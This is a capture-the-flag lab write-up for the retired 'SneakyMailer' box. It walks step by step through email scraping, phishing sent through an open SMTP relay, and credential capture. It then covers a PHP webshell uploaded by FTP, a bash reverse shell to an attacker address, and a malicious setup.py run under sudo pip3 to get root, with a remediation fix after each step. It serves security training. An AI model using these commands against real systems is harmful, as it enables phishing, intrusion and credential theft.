SneakyMailer
Summary
I mapped the target's web presence and uncovered a publicly accessible staff directory that enumerated every employee's internal email address. A bulk phishing email containing my own HTTP callback link was relayed through the target's open SMTP server to each harvested address; Paul Byrd's mail client followed the link and transmitted his IMAP credentials in plaintext. Those credentials unlocked his mailbox, where a colleague's internal message disclosed a second credential set — FTP access for the 'developer' service account.
Because that FTP account had direct write access to the web root of the developer sub-site and PHP was enabled site-wide, a one-line PHP webshell was uploaded and served immediately as the web-process user www-data. The same FTP password was accepted by SSH, providing an interactive developer shell; a sudoers entry granting unrestricted pip3 install as root was then abused by installing a locally crafted Python package whose setup.py executed as root and produced a SUID bash binary — yielding full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Add all discovered vhosts to local resolution.
$ echo "$TARGET sneakycorp.htb sneakymailer.htb dev.sneakycorp.htb" | sudo tee -a /etc/hostsScrape all employee email addresses and save to a target list.
$ curl -s -H 'Host: sneakycorp.htb' http://$TARGET/team.php | grep -ioE '[[:alnum:]._%+-]+@[[:alnum:].-]+\.htb' | sort -u | tee emails.txtFixRemove internal email addresses from the public staff directoryMedium
Exact commands 3
Start HTTP listener on my machine (run in background); incoming Basic Auth header will appear in listener.log.
$ python3 -m http.server 80 2>&1 | tee listener.logSend phishing link to each harvested address; replace $ATTACKER_IP with your tun0 IP.
$ while IFS= read -r email; do swaks --to "$email" --from "it@sneakycorp.htb" --server $TARGET --port 25 --body "http://$ATTACKER_IP/" --header "Subject: Important Update" 2>&1; done < emails.txtDecode the Authorization: Basic value captured in listener.log to recover plaintext credentials.
$ echo '<BASE64_FROM_LISTENER>' | base64 -dFixBlock unauthenticated SMTP relay from external sendersHigh
Exact commands 1
Enumerate all folders and print every message body; FTP credentials appear in INBOX.Sent.
$ python3 - <<PY
import imaplib, email
M = imaplib.IMAP4("$TARGET", 143)
M.login('paulbyrd', "$PASSWORD2")
print(M.list())
for folder in ['INBOX', 'INBOX.Sent', 'INBOX.Trash']:
M.select(folder)
_, data = M.search(None, 'ALL')
for num in data[0].split():
_, msg = M.fetch(num, '(RFC822)')
parsed = email.message_from_bytes(msg[0][1])
print('FOLDER:', folder, '| FROM:', parsed['From'])
print(parsed.get_payload(decode=True))
M.logout()
PYFixNever transmit credentials in email; enforce encryption on IMAPHigh
Exact commands 1
Authenticate to FTP, change to the dev web root, and upload the webshell.
$ python3 - <<PY
from ftplib import FTP
from io import BytesIO
ftp = FTP("$TARGET", timeout=20)
print(ftp.login('developer', "$PASSWORD"))
ftp.cwd('dev')
print(ftp.storbinary('STOR a.php', BytesIO(b'<?php system(\$_REQUEST["cmd"]); ?>\n')))
ftp.retrlines('LIST a.php')
ftp.quit()
PYFixRevoke FTP write access to web-served directories and disable PHP execution in upload pathsCritical
Exact commands 2
--resolve pins the vhost without editing /etc/hosts; confirms RCE and OS.
$ curl -s --max-time 10 --resolve dev.sneakycorp.htb:80:$TARGET 'http://dev.sneakycorp.htb/a.php?cmd=id;uname%20-a'Upgrade to a reverse shell; start nc -lvnp 4444 first. Replace $ATTACKER_IP with your tun0 address.
$ curl -s --resolve dev.sneakycorp.htb:80:$TARGET --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"' 'http://dev.sneakycorp.htb/a.php'Exact commands 2
Authenticate with password $PASSWORD (same as FTP).
$ ssh developer@$TARGETExpected output: <user.txt>
$ cat ~/user.txtFixAssign unique passwords per service and disable password-based SSH authenticationHigh
Exact commands 5
Run on the developer SSH session; confirms the pip3 sudo entry.
$ sudo -l
(root) NOPASSWD: /usr/bin/pip3Create a minimal malicious package; setup.py runs as root during pip3 install.
$ mkdir -p /tmp/pkg && cat > /tmp/pkg/setup.py <<'EOF'
import os
from setuptools import setup
os.system('cp /bin/bash /tmp/bash && chmod +s /tmp/bash')
setup(name='pwn', version='1.0')
EOFTriggers the setup.py payload as root, creating SUID /tmp/bash.
$ sudo /usr/bin/pip3 install /tmp/pkg/Spawn a root shell via the SUID bash copy; -p preserves the effective UID (euid=0).
$ /tmp/bash -pExpected output: <root.txt>
$ cat /root/root.txtFixRemove the unrestricted sudo pip3 privilege from the developer accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 21/tcp | ftp recon-sweep-discovered |
| 22/tcp | ssh recon-sweep-discovered |
| 25/tcp | smtp recon-sweep-discovered |
| 80/tcp | http nginx 1.14.2 |
| 143/tcp | imap Courier Imapd (released 2018) |
| 993/tcp | ssl/imap Courier Imapd (released 2018) |
| 8080/tcp | http nginx 1.14.2 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.